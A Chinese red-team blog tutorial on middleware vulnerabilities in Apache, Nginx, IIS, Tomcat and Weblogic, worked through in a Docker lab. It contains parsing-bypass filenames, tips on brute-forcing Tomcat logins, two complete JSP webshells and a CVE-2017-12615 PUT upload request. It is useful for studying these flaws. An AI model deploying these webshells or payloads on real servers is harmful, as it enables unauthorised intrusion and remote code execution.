2024HW---＞中间件漏洞！！！

上次好像记得讲过了框架漏洞，（weblogic不是）那么，今天我们就来讲一些中间件的漏洞

1.Apache解析漏洞

众所周知，Apache是一个非常出名的中间件，本来呢，他是不存在漏洞的，但是如果用户进行了错误的配置的话，就会导致漏洞的产生

1.Handler错误配置

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.types内),则继续向左识别！！ ---这是apache的解析规则

本来呢，apache服务器是不会解析php文件的，但是如果一些运维人员想要让他解析的话，那么就会加上这么一句话

AddType application/x­httpd­php .php

它的作用也是为了让 apache 把 php 文件交给 php_module 解析 , 但是注意到它与SetHandler: 它的 后缀不是用正则去匹配的 **。**所以, 在文件名的任何位置匹配到php后缀,它都会php_module解析。
所以，当我们上传一个这样的文件的时候，就能被成功的解析

那么总结一下这个漏洞的条件？？

1. 有人设置了 AddType application/xhttpdphp .php这个handler（没有正则匹配只能是php php3 php5这样的结尾）
2. 有了上述的错误配置之后，结合上apache的从右往左解析的特点（找不到就继续找），导致到了 .php.eweqdd 这样的文件结尾能被解析成php文件

---

2.CVE-2017-15715

Apache HTTPD 是一款 HTTP 服务器，它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析 漏洞，在解析PHP 时， 1.php\x0a 将被按照 PHP 后缀进行解析，导致绕过一些服务器的安全策略。

漏洞的原理，就在这里

我们众所周知 是正则匹配以什么结尾,反手用mysql来演示一下  漏洞是怎么产生的呢？？ 首先得知道一个东西 符号 : 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性，则 $ 也匹配 '\n' 或 '\r' 。
假设有这样的一个php源代码

<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>

很明显，这个是用来判断上传的类型的，问题就在于它的 $name是用的POST来接受的！！

当我们传入的文件后缀为 .php\n的时候，POST并不会去掉我们的\n，并且传入之后，我们的文件格式 .php\n还会被匹配成.php

所以这个能利用起来还是很苛刻的！！！

还是来捋一下思路

1. 首先，网站的regexp设置了multiline的属性，而且在http.conf里面用 $来匹配php结尾
2. 然后，就是获取文件的格式不能直接 $_FILES['FILE']['name']来接受我们的文件格式，必须要有一个单独的格式去接受我们的文件格式
3. 最后就是要去包里面将文件的后缀名字加上一个 %0a
   
   注意哦，我们这里的蚁剑连接，也是要接的%0a

这个利用起来还真是好难呢

2.Nginx解析漏洞

PHP 配置文件中有一个参数是 cgi.fix_pathinfo ，如果参数 cgi.fix_pathinfo=1 ，则产生该漏洞
这个还是比较好利用的，复现过程如下

---

如何我的www目录下有一个shell.jpg文件，并且里面写的是一句话的木马，当我访问这样的一个url的时候，就会产生漏洞

http://127.0.0.1/shell.jpg/i_want_to_be_a_blue_team_member.php

哈哈哈，后面那些是我自己的创造，但是不重要，在开启了cgi.fix_pathinfo这个函数的时候，解析就变成了以下的规则！！！！

先去找一下********.php(就是我最后的那个php文件)，肯定是找不到的，然后以PHP的规则向前面解析！！！当碰到shell.jpg的时候，就会把他当成php来解析！！！

所以漏洞就是这样子产生的

所以总结：

1. 只要开启了cgi.fix_pathinfo为1，那么这个漏洞将会存在！！！！

3.IIS解析漏洞

1.IIS7.X****解析漏洞

这个漏洞和上面的Nginx的解析漏洞有点像！！！ 也是需要对应的cgi.;x_pathinfo=1

有了上面的前提之后，在某文件路径后添加/.php会将该文件解析成php文件

2.IIS6.0解析漏洞

前提也比较简单

ii6.0的服务器开启Active Server Pages服务拓展！！

那么我们这样的格式，就会直接忽略 ; 后面的内容，直接解析 ; 前面的内容！！

所以我们的poc就是

/shell.asp;.jpg

4.Tomcat

汤姆猫的漏洞可不少

1.弱口令

tomcat 存在管理后台进行应用部署管理，且管理后台使用 HTTP 基础认证进行登录。若用户口令为弱口令，攻击者 容易进行暴力破解登录后台并进行应用管理。Tomcat 支持在后台部署 war 文件，可以直接将 webshell 部署到 web 目录下。
默认来说，它的用户名就是默认tomcat，所以如果我们遇到的话，就可以去尝试一下

点击这里，直接爆破就好（或者你弱口令）不过这个tomcat也是抽象，base64编码是吧，那么这样的话就可能要你自己去写一个py的脚本来换字典了

这里就直接弱口令进来了

原理？ 下面来看看
首先是进入docker吧

docker exec -it  "container_id"  /bin/bash

然后去对应位置查看是否存在弱口令

cd /usr/local/tomcat/conf
cat tomcat-users.xml

然后就能看见配置

然后我们都进到了后台了，说说怎么利用吧！！！
看到这个部署了吗！！！是不是和weblogic很像 那么我们就按之前的操作再来一遍

java语言，直接上jsp的🐎，这里我用的冰蝎，好像蚁剑对jsp的🐎连接效果不好
老样子，先找一个jsp的马，然后打包成war包

然后直接部署
然后去访问shell目录下的shell.jsp
然后就被啪啪打脸了

md，冰蝎连不上了，反而蚁剑连上了

可能我用的这个🐎不是冰蝎自带的吧

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

那么换冰蝎的马试试？？

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }

    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
%>
<%
if (request.getMethod().equals("POST")) {
    String k = "e45e329feb5d925b"; // 默认连接密码rebeyond的前16位md5值
    session.putValue("u", k);
    
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
    
    byte[] decodedData = new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine());
    byte[] decryptedData = c.doFinal(decodedData);
    
    ClassLoader classLoader = this.getClass().getClassLoader();
    Class loadedClass = new U(classLoader).g(decryptedData);
    Object instance = loadedClass.newInstance();
    
    // 检查实例是否与pageContext相等
    if (instance.equals(pageContext)) {
        // 执行一些特定的操作
    }
}
%>

我真无语了。。。。。 自己的马自己都连不上

2.CVE-2017-12615

在Tomcat配置文件设置了PUT上传方法 ，在 web.xml 文件，可以发现，默认 readonly 为 true，当 readonly 设置为 false 时，可以通过 PUT / DELETE 进行文件操控
受到影响的版本：Apache Tomcat 7.0.0 - 7.0.79 (windows环境) （Linux的话不是，反正遇到tomcat就去试试！！！）
poc如下

PUT /1.jsp/ HTTP/1.1
Host: your­ip:8080
Accept: */*
Accept­Language: en
User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content­Type: application/x­www­form­urlencoded
Content­Length: 5

这里直接写你的webshell code

上BP！！（冰蝎我给你最后一次机会）

爬，给我爬，连不上，蚁剑，我还是爱你的

上蚁剑的🐎

小小flag：：：以后我只用蚁剑！！！！

但是其实到了这个步骤，并不是结束了，当我们看到一个Linux搭建的环境的时候！！！
我们就要去想会不会是docker ！！！（因为要逃逸）
但是可以说，这个靶场做的挺不错的

挺全的，就连以下两个命令也检查不出来

ls -a   //看看有没有隐藏的  .docker.env这种特征性文件
cat /proc/1/groups    //看看有没有docker的字样

但是，最后的这一个命令就露馅了，一个Linux机器（非docker环境）怎么可能连ifconfig都没有

5.Weblogic

weblogic的话，我之前讲过它的泄露密码

对于它出现过的SSRF漏洞，请看我的下一篇Blog 关于SSRF的

对于反序列化，其实挺多的，但是原理复杂，我就不细讲了，这种用工具扫就是

直接用工具扫就好了

以上，就是比较出名的中间件漏洞啦